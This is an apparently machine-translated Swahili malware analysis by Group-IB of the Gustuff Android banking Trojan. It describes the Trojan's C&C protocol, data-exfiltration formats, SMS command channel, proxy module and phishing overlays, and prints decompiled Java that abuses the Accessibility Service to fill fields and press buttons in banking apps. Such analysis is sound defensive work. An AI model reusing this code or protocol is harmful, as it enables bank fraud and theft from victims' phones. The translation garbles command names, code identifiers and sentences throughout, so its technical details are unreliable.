
Juzi tu, Group-IB kuhusu shughuli za simu Android- Gustuff Trojan. Inafanya kazi pekee katika masoko ya kimataifa, ikishambulia wateja wa benki 100 kubwa zaidi za kigeni, watumiaji wa simu za mkononi wa pochi 32 za crypto, na tovuti kuu za biashara ya mtandaoni. Msanidi programu wa Gustuff, mhalifu wa mtandao anayezungumza Kirusi aliyepewa jina la utani Bestoffer, hivi karibuni aliisifu Trojan yake kama "bidhaa kubwa kwa watu wenye ujuzi na uzoefu."
Mchambuzi wa Malware wa Kundi-IB Ivan Pisarev Katika somo lake, anaelezea jinsi Gustuff anavyofanya kazi na hatari zake.
Gustuff anawinda nani?
Gustuff ni ya kizazi kipya cha programu hasidi yenye vitendaji otomatiki kikamilifu. Kulingana na msanidi programu wake, Trojan ni toleo jipya na lililoboreshwa la programu hasidi ya AndyBot, ambayo imekuwa ikishambulia simu zinazotumia mfumo wa uendeshaji tangu Novemba 2017. Android na huiba pesa kupitia fomu za wavuti za ulaghai zilizojificha kama programu za simu za benki zinazojulikana za kimataifa na mifumo ya malipo. Bestoffer iliripoti kwamba bei ya kukodisha "Gustuff Bot" ilikuwa $800 kwa mwezi.
Uchambuzi wa sampuli ya Gustuff ulibaini kuwa Trojan inaweza kuwalenga wateja wanaotumia programu za simu za benki kuu, kama vile Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, pamoja na pochi za crypto kama vile Bitcoin Wallet, BitPay, Cryptopay, Coinbase, na zingine.
Hapo awali iliundwa kama Trojan ya benki ya kawaida, toleo la sasa la Gustuff limepanua kwa kiasi kikubwa orodha yake ya malengo yanayowezekana ya kushambuliwa. Android- matumizi ya benki, kampuni za fintech, na huduma za crypto, Gustuff inalenga watumiaji wa programu za soko, maduka ya mtandaoni, mifumo ya malipo, na programu za kutuma ujumbe. Hasa, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut, na zingine.
Sehemu ya kuingilia: Kuhesabu kwa maambukizi ya wingi
Gustuff ina sifa ya vekta ya "classic" ya kupenya Android-simu mahiri kupitia ujumbe mfupi wa SMS wenye viungo vya faili za APK. Zinapoambukizwa AndroidMara tu kifaa kikiwa kimeambukizwa, Trojan, kwa amri ya seva, inaweza kusambaza Gustuff zaidi kupitia hifadhidata ya mawasiliano ya simu iliyoambukizwa au hifadhidata ya seva. Utendaji wa Gustuff umeundwa kwa ajili ya maambukizi ya wingi na mtaji wa juu wa biashara kwa waendeshaji wake - ina kipengele cha kipekee cha "kujaza kiotomatiki" kwa programu halali za benki za simu na pochi za crypto, ambacho huharakisha na kuongeza wizi wa fedha.
Uchunguzi wa Trojan ulionyesha kuwa kipengele chake cha kupakia kiotomatiki kinatekelezwa kwa kutumia Huduma ya Ufikiaji, huduma kwa watu wenye ulemavu. Gustuff sio Trojan ya kwanza kufanikiwa kuepuka ulinzi dhidi ya mwingiliano na vipengele vya madirisha ya programu zingine kwa kutumia huduma hii. AndroidHata hivyo, matumizi ya Huduma ya Ufikiaji pamoja na upakiaji kiotomatiki bado ni nadra sana.
Mara tu inapopakuliwa kwenye simu ya mwathiriwa, Gustuff, kwa kutumia Huduma ya Ufikiaji, hupata uwezo wa kuingiliana na vipengele vya programu zingine (benki, sarafu ya kidijitali, ununuzi mtandaoni, ujumbe, n.k.), ikifanya vitendo vinavyotakiwa na washambuliaji. Kwa mfano, kwa amri ya seva, Trojan inaweza kubofya vitufe na kubadilisha thamani za sehemu ya maandishi katika programu za benki. Kutumia Huduma ya Ufikiaji huruhusu Trojan kupita mifumo ya ulinzi inayotumiwa na benki kukabiliana na Trojan za zamani za simu, pamoja na mabadiliko ya sera ya usalama yanayotekelezwa na Google katika matoleo mapya ya mfumo wa uendeshaji. AndroidKwa mfano, Gustuff inaweza kuzima Google Protect: kulingana na mwandishi, kipengele hiki hufanya kazi katika 70% ya visa.

Gustuff pia inaweza kuonyesha arifa ghushi zinazotumwa na programu hata wakati huitumii kwa aikoni za programu halali za simu. Mtumiaji anabofya arifa ya kushinikiza na kuona dirisha la hadaa lililopakuliwa kutoka kwa seva, ambapo huingiza kadi ya benki iliyoombwa au maelezo ya pochi ya crypto. Katika hali nyingine, Gustuff atafungua programu iliyoonyesha arifa ya kushinikiza. Katika hali hii, programu hasidi, kwa amri kutoka kwa seva kupitia Huduma ya Ufikivu, inaweza kujaza sehemu za fomu za programu ya benki ili kufanya muamala wa ulaghai.
Utendaji wa Gustuff pia ni pamoja na kutuma maelezo kuhusu kifaa kilichoambukizwa kwa seva, uwezo wa kusoma/kutuma ujumbe mfupi, kutuma maombi ya USSD, kuzindua seva mbadala ya SOCKS5, kufuata viungo, kutuma faili (ikiwa ni pamoja na ukaguzi wa hati, picha za skrini na picha) kwa seva, na kuweka upya kifaa kwenye mipangilio ya kiwandani.
Uchambuzi wa programu hasidi
Kabla ya kusakinisha programu hasidi ya mfumo wa uendeshaji Android humwonyesha mtumiaji dirisha lenye orodha ya haki zinazoombwa na Gustuff:

Programu itasakinishwa tu baada ya kupokea kibali cha mtumiaji. Baada ya kuzindua programu, Trojan itaonyesha dirisha lifuatalo:

Baada ya hapo itafuta ikoni yake.
Gustuff imejaa, kulingana na mwandishi, na kifurushi cha FTT. Baada ya uzinduzi, programu huwasiliana mara kwa mara na seva ya C&C ili kupokea amri. Faili kadhaa tulizokagua zilitumia anwani ya IP kama seva ya C&C. 88.99.171[.]105 (hapo tutaashiria kama <%CnC%>).
Baada ya kuzindua, programu huanza kutuma ujumbe kwa seva http://<%CnC%>/api/v1/get.php.
Jibu linalotarajiwa ni JSON katika umbizo lifuatalo:
{
"results" : "OK",
"command":{
"id": "<%id%>",
"command":"<%command%>",
"timestamp":"<%Server Timestamp%>",
"params":{
<%Command parameters as JSON%>
},
},
}Kwa kila ombi, programu hutuma habari kuhusu kifaa kilichoambukizwa. Umbizo la ujumbe limeonyeshwa hapa chini. Ni muhimu kuzingatia kwamba mashamba Kamili, ziada, Apps и ruhusa - ni ya hiari na itatumwa tu katika kesi ya amri ya ombi kutoka kwa CnC.
{
"info":
{
"info":
{
"cell":<%Sim operator name%>,
"country":<%Country ISO%>,
"imei":<%IMEI%>,
"number":<%Phone number%>,
"line1Number":<%Phone number%>,
"advertisementId":<%ID%>
},
"state":
{
"admin":<%Has admin rights%>,
"source":<%String%>,
"needPermissions":<%Application needs permissions%>,
"accesByName":<%Boolean%>,
"accesByService":<%Boolean%>,
"safetyNet":<%String%>,
"defaultSmsApp":<%Default Sms Application%>,
"isDefaultSmsApp":<%Current application is Default Sms Application%>,
"dateTime":<%Current date time%>,
"batteryLevel":<%Battery level%>
},
"socks":
{
"id":<%Proxy module ID%>,
"enabled":<%Is enabled%>,
"active":<%Is active%>
},
"version":
{
"versionName":<%Package Version Name%>,
"versionCode":<%Package Version Code%>,
"lastUpdateTime":<%Package Last Update Time%>,
"tag":<%Tag, default value: "TAG"%>,
"targetSdkVersion":<%Target Sdk Version%>,
"buildConfigTimestamp":1541309066721
},
},
"full":
{
"model":<%Device Model%>,
"localeCountry":<%Country%>,
"localeLang":<%Locale language%>,
"accounts":<%JSON array, contains from "name" and "type" of accounts%>,
"lockType":<%Type of lockscreen password%>
},
"extra":
{
"serial":<%Build serial number%>,
"board":<%Build Board%>,
"brand":<%Build Brand%>,
"user":<%Build User%>,
"device":<%Build Device%>,
"display":<%Build Display%>,
"id":<%Build ID%>,
"manufacturer":<%Build manufacturer%>,
"model":<%Build model%>,
"product":<%Build product%>,
"tags":<%Build tags%>,
"type":<%Build type%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"line1number":<%phonenumber%>,
"iccid":<%Sim serial number%>,
"mcc":<%Mobile country code of operator%>,
"mnc":<%Mobile network codeof operator%>,
"cellid":<%GSM-data%>,
"lac":<%GSM-data%>,
"androidid":<%Android Id%>,
"ssid":<%Wi-Fi SSID%>
},
"apps":{<%List of installed applications%>},
"permission":<%List of granted permissions%>
} Kuhifadhi data ya usanidi
Gustuff huhifadhi taarifa muhimu katika faili ya upendeleo. Jina la faili, kama majina ya kigezo ndani yake, ni matokeo ya kukokotoa jumla ya MD5 ya mfuatano. 15413090667214.6.1<%name%>Ambapo <%name%> - thamani ya asili ya jina. Tafsiri ya Python ya kazi ya kizazi cha jina:
nameGenerator(input):
output = md5("15413090667214.6.1" + input) Katika siku zijazo tutaashiria kama Jenereta ya jina(kiingiza).
Kwa hivyo jina la faili ya kwanza ni: jenereta ya jina("API_SERVER_LIST"), ina maadili yenye majina yafuatayo:
| Jina la kubadilika | Thamani |
|---|---|
| jenereta ya jina("API_SERVER_LIST") | Ina orodha ya anwani za CnC kama safu. |
| jenereta ya jina("API_SERVER_URL") | Ina anwani ya CnC. |
| Jenereta ya jina(«SMS_UPLOAD») | Bendera imewekwa kwa chaguo-msingi. Ikiwekwa, hutuma ujumbe wa SMS kwa CnC. |
| Jenereta ya jina("SMS_ROOT_NUMBER") | Nambari ya simu ambayo ujumbe wa SMS uliopokelewa na kifaa kilichoambukizwa itatumwa. Chaguo-msingi kubatilisha. |
| Jenereta ya jina("SMS_ROOT_NUMBER_RESEND") | Bendera inafutwa kwa chaguo-msingi. Ikiwashwa, wakati kifaa kilichoambukizwa kinapokea SMS, itatumwa kwa nambari ya mizizi. |
| jenereta ya jina("DEFAULT_APP_SMS") | Bendera hii inafutwa kwa chaguomsingi. Ripoti hii ikiwekwa, programu itachakata ujumbe unaoingia wa SMS. |
| jenereta ya jina("DEFAULT_ADMIN") | Bendera hii inafutwa kwa chaguomsingi. Ikiwa bendera hii imewekwa, programu ina haki za msimamizi. |
| jenereta ya jina("DEFAULT_ACCESSIBILITY") | Bendera hii inafutwa kwa chaguomsingi. Ikiwa alama hii imewekwa, huduma inayotumia Huduma ya Ufikivu inaendeshwa. |
| jenereta ya jina("APPS_CONFIG") | Kipengee cha JSON kilicho na orodha ya vitendo vya kufanya tukio la Ufikivu linalohusishwa na programu mahususi linapoanzishwa. |
| jenereta ya jina("APPS_INSTALLED") | Huhifadhi orodha ya programu zilizosakinishwa kwenye kifaa. |
| Jenereta ya jina("IS_FIST_RUN") | Bendera imewekwa upya kwenye uzinduzi wa kwanza. |
| jenereta ya jina("UNIQUE_ID") | Ina kitambulisho cha kipekee. Hutolewa wakati kijibu kinapozinduliwa kwa mara ya kwanza. |
Moduli ya usindikaji ya amri ya seva
Programu huhifadhi anwani za seva za CnC kama safu iliyosimbwa Msingi85 mistari. Orodha ya CnCs - seva inaweza kubadilishwa baada ya kupokea amri inayolingana, ambapo anwani zitahifadhiwa katika faili ya upendeleo.
Kwa kujibu ombi, seva hutuma amri kwa programu. Ni vyema kutambua kwamba amri na vigezo vinawakilishwa katika umbizo la JSON. Programu inaweza kushughulikia amri zifuatazo:
| Timu | Description |
|---|---|
| mbeleAnza | Anza kutuma ujumbe wa SMS uliopokelewa na kifaa kilichoambukizwa kwa seva ya CnC. |
| mbeleStop | Acha kutuma ujumbe wa SMS uliopokelewa na kifaa kilichoambukizwa kwa seva ya CnC. |
| ussdRun | Tuma ombi la USSD. Nambari ambayo ombi la USSD linapaswa kutumwa iko katika sehemu ya "nambari" ya JSON. |
| tuma SMS | Tuma ujumbe mmoja wa SMS (ujumbe unaweza kugawanywa katika sehemu ikiwa ni lazima). Amri inakubali kipengee cha JSON kama kigezo, kilicho na sehemu ya "kwa" (nambari lengwa) na sehemu ya "mwili" (mwili wa ujumbe). |
| tumaSmsAb | Tuma ujumbe wa SMS (ujumbe unaweza kugawanywa katika sehemu ikiwa ni lazima) kwa kila mtu katika orodha ya anwani ya kifaa kilichoambukizwa. Muda kati ya ujumbe ni sekunde 10. Kiini cha ujumbe kinapatikana katika sehemu ya "mwili" ya JSON. |
| tumaSmsMisa | Tuma ujumbe wa SMS (ujumbe unaweza kugawanywa katika sehemu ikiwa ni lazima) kwa anwani zilizotajwa katika vigezo vya amri. Muda kati ya ujumbe ni sekunde 10. Amri inakubali safu ya JSON (uga wa "sms") kama kigezo, ambacho vipengele vyake vina "kwa" (nambari lengwa) na "mwili" (mwili wa ujumbe). |
| badilishaSeva | Amri hii inaweza kuchukua thamani kwa kutumia kitufe cha "url" kama kigezo - kisha roboti itabadilisha thamani ya nameGenerator ("SERVER_URL"), au "safu" - kisha roboti itaandika safu kwa nameGenerator ("API_SERVER_LIST"). Kwa njia hii, programu hubadilisha anwani ya seva za CnC. |
| adminNumber | Amri hii imeundwa kufanya kazi na nambari ya mizizi. Inakubali kipengee cha JSON chenye vigezo vifuatavyo: "nambari" — hubadilisha jinaJenereta("ROOT_NUMBER") hadi thamani iliyopokewa, "tuma tena" - hubadilisha jinaJenereta("SMS_ROOT_NUMBER_RESEND"), "sendId" — hutuma kitambulisho cha kipekee kwa nameGenerator("ROOT_NUMBER"). |
| updateInfo | Tuma taarifa kuhusu kifaa kilichoambukizwa kwa seva. |
| futaData | Amri hii imeundwa ili kufuta data ya mtumiaji. Kulingana na jina la mtumiaji ambalo programu ilizinduliwa chini yake, kufuta data kamili kwa kuwasha upya kifaa (mtumiaji wa msingi) au kufuta kwa mtumiaji pekee (mtumiaji wa pili) hutokea. |
| soksiAnza | Zindua moduli ya Wakala. Uendeshaji wake umeelezwa katika sehemu tofauti. |
| Soksi Acha | Acha moduli ya Wakala. |
| OpenLink | Fuata kiungo. Kiungo kiko katika kigezo cha JSON chini ya kitufe cha "url". Ili kufungua kiungo, tumia "android.intent.action.VIEW." |
| uploadAllSms | Tuma ujumbe wote wa SMS uliopokelewa na kifaa kwa seva. |
| uploadAllPhotos | Tuma URL ya picha kutoka kwa kifaa kilichoambukizwa. URL imetolewa kama kigezo. |
| uploadFile | Tuma faili kutoka kwa kifaa kilichoambukizwa hadi kwa URL. URL imetolewa kama kigezo. |
| uploadNambari zaSimu | Tuma nambari za simu kutoka kwa orodha ya anwani hadi kwa seva. Ikiwa kigezo ni kitu cha JSON chenye kitufe cha "ab", programu hurejesha orodha ya anwani kutoka kwa kitabu cha simu. Ikiwa kigezo ni kitu cha JSON chenye kitufe cha "sms", programu hurejesha orodha ya anwani kutoka kwa watumaji wa SMS. |
| badilisha Kumbukumbu | Programu inapakua faili kutoka kwa anwani iliyopitishwa kama kigezo hadi kitufe cha "url". Faili iliyopakuliwa imehifadhiwa kwa jina "archive.zip." Kisha programu inafungua faili, kwa hiari kutumia nenosiri la kumbukumbu "b5jXh37gxgHBrZhQ4j3D." Faili ambayo haijafungwa imehifadhiwa kwenye saraka ya [hifadhi ya nje]/hgps. Saraka hii ndipo programu huhifadhi bandia za wavuti (zilizofafanuliwa hapa chini). |
| vitendo | Amri imeundwa kufanya kazi na Huduma ya Kitendo, ambayo imeelezewa katika sehemu tofauti. |
| mtihani | Haifanyi chochote. |
| download | Amri hii inapakua faili kutoka kwa seva ya mbali na kuihifadhi kwenye saraka ya "Vipakuliwa". URL na jina la faili hupitishwa kama vigezo, na sehemu katika kipengee cha JSON ni "url" na "fileName," mtawalia. |
| kuondoa | Inafuta faili kutoka kwa saraka ya "Vipakuliwa". Jina la faili hupitishwa katika kigezo cha JSON kwa kitufe cha "fileName". Jina la faili chaguo-msingi ni "tmp.apk". |
| notification | Onyesha arifa yenye maelezo na maandishi ya kichwa yanayofafanuliwa na seva ya C&C. |
Umbizo la amri notification:
{
"results" : "OK",
"command":{
"id": <%id%>,
"command":"notification",
"timestamp":<%Server Timestamp%>,
"params":{
"openApp":<%Open original app or not%>,
"array":[
{"title":<%Title text%>,
"desc":<%Description text%>,
"app":<%Application name%>}
]
},
},
}Arifa inayotolewa na faili inayochunguzwa inaonekana sawa na arifa zinazotolewa na programu iliyoainishwa kwenye uwanja. programu. Ikiwa thamani ya shamba openApp - Kweli, wakati arifa inafunguliwa, programu iliyoainishwa kwenye uwanja inazinduliwa programu. Ikiwa thamani ya shamba openApp - Uongo, basi:
- dirisha la ulaghai hufungua, yaliyomo ambayo yanapakiwa kutoka kwenye saraka <%external storage%>/hgps/<%filename%>
- dirisha la ulaghai hufungua, yaliyomo ambayo yanapakuliwa kutoka kwa seva <%url%>?id=<%Bot id%>&app=<%Jina la programu%>
- Dirisha la kuhadaa ili kupata maelezo ya kibinafsi lililofichwa kama Kadi ya Google Play hufunguliwa, huku kuruhusu kuweka maelezo ya kadi yako.
Maombi hutuma matokeo ya kutekeleza amri yoyote kwa <%CnC%>set_state.php kama kitu cha JSON cha umbizo lifuatalo:
{
"command":
{
"command":<%command%>,
"id":<%command_id%>,
"state":<%command_state%>
}
"id":<%bot_id%>
} VitendoHuduma
Orodha ya amri ambazo michakato ya maombi inajumuisha hatuaBaada ya kupokea amri, moduli ya usindikaji amri huita huduma hii kutekeleza amri iliyopanuliwa. Huduma inakubali kitu cha JSON kama kigezo. Huduma inaweza kutekeleza amri zifuatazo:
1. PARAMS_ACTION - wakati wa kupokea amri kama hiyo, huduma hupokea kwanza thamani kutoka kwa parameta ya JSON kwa ufunguo wa Aina, ambayo inaweza kuwa kama ifuatavyo:
- hudumaInfo - amri ndogo inapata thamani kutoka kwa parameta ya JSON kwa ufunguo ni pamoja naSiMuhimuIkiwa bendera ni Kweli, programu huweka bendera. FLAG_ISOLATED_PROCESS kwa huduma kwa kutumia Huduma ya Ufikivu. Hii itaendesha huduma katika mchakato tofauti.
- mizizi — Pokea na utume habari kuhusu dirisha linalolenga kwa seva. Programu hupata maelezo haya kwa kutumia darasa la AccessibilityNodeInfo.
- admin - omba haki za msimamizi.
- kuchelewa — sitisha ActionsService kwa idadi ya milisekunde iliyobainishwa kwenye kigezo cha kitufe cha "data".
- madirisha — tuma orodha ya madirisha inayoonekana kwa mtumiaji.
- kufunga — sakinisha programu kwenye kifaa kilichoambukizwa. Jina la kifurushi (kumbukumbu) liko kwenye kitufe cha "fileName". Kumbukumbu yenyewe iko kwenye saraka ya Vipakuliwa.
- kimataifa - amri ndogo imekusudiwa kufanya mpito kutoka kwa dirisha la sasa:
- kwenye menyu ya Mipangilio ya Haraka
- nyuma
- nyumbani
- kwa arifa
- kwa dirisha la programu lililofunguliwa hivi karibuni
- uzinduzi - zindua programu. Jina la programu hutolewa kama kigezo kwa ufunguo. data.
- sauti — badilisha modi ya sauti iwe kimya.
- kufungua — huwasha skrini na taa ya nyuma ya kibodi kwa mwangaza kamili. Programu hufanya kitendo hiki kwa kutumia WakeLock, ikibainisha kamba [Lebo ya programu]:INFO kama lebo.
- ruhusaOverlay — chaguo la kukokotoa halijatekelezwa (jibu la kutekeleza amri ni {"ujumbe":"Hautumiki"} au {"ujumbe":"low sdk"})
- ishara — chaguo la kukokotoa halijatekelezwa (jibu la kutekeleza amri ni {"ujumbe":"Hautumiki"} au {"ujumbe":"API ya Chini"})
- ruhusa Amri hii inahitajika ili kuomba ruhusa kwa programu. Walakini, kazi ya ombi haijatekelezwa, kwa hivyo amri haina maana. Orodha ya ruhusa zilizoombwa inapokelewa kama safu ya JSON yenye kitufe cha "ruhusa". Orodha ya chaguo-msingi ni:
- admin
- android.permission.READ_CONTACTS
- android.permission.CALL_PHONE
- android.ruhusa.POKEA_SMS
- android.permission.TUMA_SMS
- android.permission.SOMA_SMS
- idhini ya android.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- kufungua - onyesha dirisha la kuhadaa ili kupata maelezo ya kibinafsi. Kulingana na kigezo kilichopokelewa kutoka kwa seva, programu inaweza kuonyesha madirisha yafuatayo ya hadaa:
- Onyesha dirisha la kuhadaa ili kupata maelezo ya kibinafsi, yaliyomo ambayo yamebainishwa kwenye faili kwenye saraka <%saraka ya nje%>/hgps/<%param_filename%>Matokeo ya mwingiliano wa mtumiaji na dirisha yatatumwa kwa anwani <%CnC%>/records.php
- Onyesha dirisha la kuhadaa ili kupata maelezo ya kibinafsi, yaliyomo ambayo yamepakiwa awali kutoka kwa anwani <%url_param%>?id=<%bot_id%>&app=<%packagename%>Matokeo ya mwingiliano wa mtumiaji na dirisha yatatumwa kwa anwani <%CnC%>/records.php
- Onyesha dirisha la hadaa lililojificha kama Kadi ya Google Play.
- maingiliano - Amri hii imeundwa kuingiliana na vipengele vya dirisha vya programu nyingine kwa kutumia Huduma ya Upatikanaji. Huduma maalum inatekelezwa katika mpango wa mwingiliano huu. Programu inayojifunza inaweza kuingiliana na madirisha yafuatayo:
- Inatumika kwa sasa. Katika kesi hii, parameter ina kitambulisho au maandishi (jina) ya kitu cha kuingiliana nacho.
- Inaonekana kwa mtumiaji wakati amri inatekelezwa. Programu huchagua windows kwa kitambulisho.
Baada ya kupokea vitu AccessibilityNodeInfo Kwa vipengele vya dirisha vya kupendeza, programu inaweza kufanya vitendo vifuatavyo kulingana na vigezo:
- kuzingatia - kuweka mkazo kwenye kitu.
- bonyeza - bonyeza kitu.
- actionId - fanya kitendo kwa kitambulisho.
- setText — badilisha maandishi ya kitu. Kubadilisha maandishi kunaweza kufanywa kwa njia mbili: kwa kufanya kitendo ACTION_SET_TEXT (ikiwa toleo Android kifaa kilichoambukizwa ni kidogo kuliko au sawa na LOLIPOP), au kwa kuweka kamba kwenye ubao wa kunakili na kuibandika kwenye kitu (kwa matoleo ya zamani). Amri hii inaweza kutumika kubadilisha data katika programu ya benki.
2. VITENDO_VYA_PARAM - sawa na PARAMS_ACTION, ni safu ya amri za JSON pekee zinazofika.
Inaonekana wengi wangependezwa na jinsi kipengele cha kuingiliana na vipengele vya dirisha la programu nyingine hufanya kazi. Hivi ndivyo utendaji huu unatekelezwa katika Gustuff:
boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
int count = action.optInt("repeat", 1);
Iterator aiListIterator = ((Iterable)aiList).iterator();
int count = 0;
while(aiListIterator.hasNext()) {
Object ani = aiListIterator.next();
if(1 <= count) {
int index;
for(index = 1; true; ++index) {
if(action.has("focus")) {
if(((AccessibilityNodeInfo)ani).performAction(1)) {
++count;
}
}
else if(action.has("click")) {
if(((AccessibilityNodeInfo)ani).performAction(16)) {
++count;
}
}
else if(action.has("actionId")) {
if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
++count;
}
}
else if(action.has("setText")) {
customHeader ch = CustomAccessibilityService.a;
Context context = this.getApplicationContext();
String text = action.optString("setText");
if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
++count;
}
}
if(index == count) {
break;
}
}
}
((AccessibilityNodeInfo)ani).recycle();
}
res.addPropertyNumber("res", Integer.valueOf(count));
}Kazi ya Kubadilisha Maandishi:
boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
boolean result;
if(Build$VERSION.SDK_INT >= 21) {
Bundle b = new Bundle();
b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
result = ani.performAction(0x200000, b); // ACTION_SET_TEXT
}
else {
Object clipboard = context.getSystemService("clipboard");
if(clipboard != null) {
((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
result = ani.performAction(0x8000); // ACTION_PASTE
}
else {
result = false;
}
}
return result;
}Kwa hivyo, kwa seva ya udhibiti imeundwa vizuri, Gustuff ina uwezo wa kujaza mashamba ya maandishi katika programu ya benki na kubofya vifungo muhimu ili kukamilisha shughuli. Trojan haihitaji hata kuingia kwenye programu-inatuma tu amri ili kuonyesha arifa ya kushinikiza na kisha kufungua programu ya benki iliyosakinishwa hapo awali. Mtumiaji ataingia, baada ya hapo Gustuff anaweza kutekeleza amana otomatiki.
Moduli ya usindikaji wa SMS
Programu husakinisha kidhibiti matukio kwa ujumbe wa SMS uliopokewa na kifaa kilichoambukizwa. Programu inayochambuliwa inaweza kupokea amri kutoka kwa operator, ambazo hutumwa katika mwili wa ujumbe wa SMS. Amri zinatumwa kwa muundo ufuatao:
7!5=<%Base64 iliyosimbwa amri%>
Programu hutafuta ujumbe wote wa SMS unaoingia kwa kamba 7!5=Mfuatano unapogunduliwa, hutenganisha kamba kutoka kwa Base64 kwa kukabiliana na 4 na kutekeleza amri. Amri ni sawa na zile zilizo na CnC. Matokeo ya utekelezaji yanatumwa kwa nambari ile ile ambayo amri ilipokelewa. Muundo wa majibu:
7*5=<%Base64 usimbaji wa "amri_ya_msimbo wa matokeo"%>
Programu inaweza kutuma kwa hiari ujumbe wote uliopokelewa kwa nambari ya msingi. Ili kufanya hivyo, nambari ya mizizi lazima ibainishwe kwenye faili ya upendeleo na bendera ya uelekezaji upya wa ujumbe lazima iwekwe. Ujumbe wa SMS hutumwa kwa nambari ya mshambuliaji katika umbizo lifuatalo:
<%Kutoka kwa nambari%> — <%Muda, umbizo: dd/MM/yyyy HH:mm:ss%> <%SMS body%>
Programu inaweza pia kutuma ujumbe kwa CnC kwa hiari. Ujumbe wa SMS unatumwa kwa seva katika umbizo la JSON:
{
"id":<%BotID%>,
"sms":
{
"text":<%SMS body%>,
"number":<%From number%>,
"date":<%Timestamp%>
}
}Ikiwa bendera imewekwa jenereta ya jina("DEFAULT_APP_SMS") - programu huacha kuchakata ujumbe wa SMS na kufuta orodha ya ujumbe unaoingia.
Moduli ya wakala
Programu inayochunguzwa inajumuisha moduli ya Proksi ya Backconnect (ambayo itajulikana kama moduli ya Proksi), ambayo ina aina tofauti iliyo na sehemu za usanidi tuli. Data ya usanidi imehifadhiwa katika sampuli katika maandishi wazi:

Vitendo vyote vinavyofanywa na moduli ya Wakala huwekwa kwenye faili. Ili kufanikisha hili, programu huunda saraka inayoitwa "logi" katika Hifadhi ya Nje (uga wa ProxyConfigClass.logsDir katika darasa la usanidi), ambayo huhifadhi faili za kumbukumbu. Kuingia hutokea katika faili zilizo na majina yafuatayo:
- kuu.txt - faili hii inatumika kuweka kazi ya darasa inayoitwa CommandServer. Kuanzia sasa na kuendelea, kuweka kamba str kwenye faili hii kutarejelewa kama mainLog(str).
- kipindi-<%id%>.txt - faili hii huhifadhi data ya kumbukumbu inayohusishwa na kipindi mahususi cha seva mbadala. Kuweka kamba kwenye faili hii kutarejelewa kama sessionLog (str).
- seva.txt - data zote zilizoandikwa kwa faili zilizoelezwa hapo juu zimeingia kwenye faili hii.
Fomati ya data ya kumbukumbu:
<%Date%> [Thread[<%thread id%>], id[]]: log-string
Vighairi vinavyotokea wakati wa uendeshaji wa moduli ya Proksi pia huwekwa kwenye faili. Kwa kusudi hili, programu hutoa kitu cha JSON katika umbizo lifuatalo:
{
"uncaughtException":<%short description of throwable%>
"thread":<%thread%>
"message":<%detail message of throwable%>
"trace": //Stack trace info
[
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
},
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
}
]
}Baada ya hapo huibadilisha kuwa uwakilishi wa kamba na kuiweka kumbukumbu.
Moduli ya Wakala inazinduliwa baada ya kupokea amri inayolingana. Wakati amri ya kuzindua moduli ya Wakala inapokelewa, programu huanza huduma iliyopewa jina Huduma Kuu, ambayo inawajibika kwa kusimamia uendeshaji wa moduli ya Wakala - kuanzia na kuisimamisha.
Hatua za uzinduzi wa huduma:
1. Huanzisha kipima muda kinachofanya kazi mara moja kwa dakika na hukagua shughuli za moduli ya Proksi. Ikiwa moduli haifanyi kazi, inaianzisha.
Pia wakati tukio limeanzishwa android.net.conn.CONNECTIVITY_CHANGE Moduli ya Wakala imezinduliwa.
2. Programu huunda wake-lock na kigezo PARTIAL_WAKE_LOCK na kuikamata. Hii huzuia CPU ya kifaa kuingia katika hali ya usingizi.
3. Huendesha darasa la uchakataji wa moduli ya Wakala, ikiweka kamba kabla. mainLog("anza seva") и
Seva::start() host[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]
ambapo proxy_cnc, command_port na proxy_port - vigezo vilivyopatikana kutoka kwa usanidi wa seva ya Wakala.
Darasa la usindikaji wa amri lina jina CommandConnection. Mara tu baada ya uzinduzi, hufanya vitendo vifuatavyo:
4. Inaunganisha kwa ProxyConfigClass.mwenyeji: ProxyConfigClass.commandPort na kutuma data kuhusu kifaa kilichoambukizwa huko katika umbizo la JSON:
{
"id":<%id%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"model":<%model%>,
"manufacturer":<%manufacturer%>,
"androidVersion":<%androidVersion%>,
"country":<%country%>,
"partnerId":<%partnerId%>,
"packageName":<%packageName%>,
"networkType":<%networkType%>,
"hasGsmSupport":<%hasGsmSupport%>,
"simReady":<%simReady%>,
"simCountry":<%simCountry%>,
"networkOperator":<%networkOperator%>,
"simOperator":<%simOperator%>,
"version":<%version%>
}Ambapo:
- id – kitambulisho kinachojaribu kuepua thamani kwa uga wa "id" kutoka kwa faili ya Mapendeleo Yanayoshirikiwa inayoitwa "x." Ikiwa thamani hii haiwezi kurejeshwa, mpya itatolewa. Kwa hivyo, Moduli ya Wakala ina kitambulisho chake, ambacho kinatolewa sawa na Kitambulisho cha Bot.
- imei - IMEI ya kifaa. Ikiwa hitilafu itatokea wakati wa kurejesha thamani, ujumbe wa hitilafu wa maandishi utaandikwa badala ya sehemu hii.
- imsi — Utambulisho wa Kimataifa wa Msajili wa Simu ya kifaa. Ikiwa hitilafu itatokea wakati wa kurejesha thamani, ujumbe wa hitilafu wa maandishi utaandikwa badala ya sehemu hii.
- mfano - Jina la mtumiaji-mwisho linaloonekana kwa bidhaa ya mwisho.
- mtengenezaji - Mtengenezaji wa bidhaa/vifaa (Build.MANUFACTURER).
- androidVersion — mfuatano katika umbizo la "<%release_version%> (<%os_version%>),<%sdk_version%>"
- nchi - eneo la sasa la kifaa.
- PartnerId - kamba tupu.
- packageName - jina la kifurushi.
- networkType — aina ya muunganisho wa sasa wa mtandao (mfano: "WIFI", "MOBILE"). Hurejesha null ikiwa hitilafu itatokea.
- hasGsmSupport - kweli - ikiwa simu inaauni GSM, vinginevyo sivyo.
- simReady - hali ya SIM kadi.
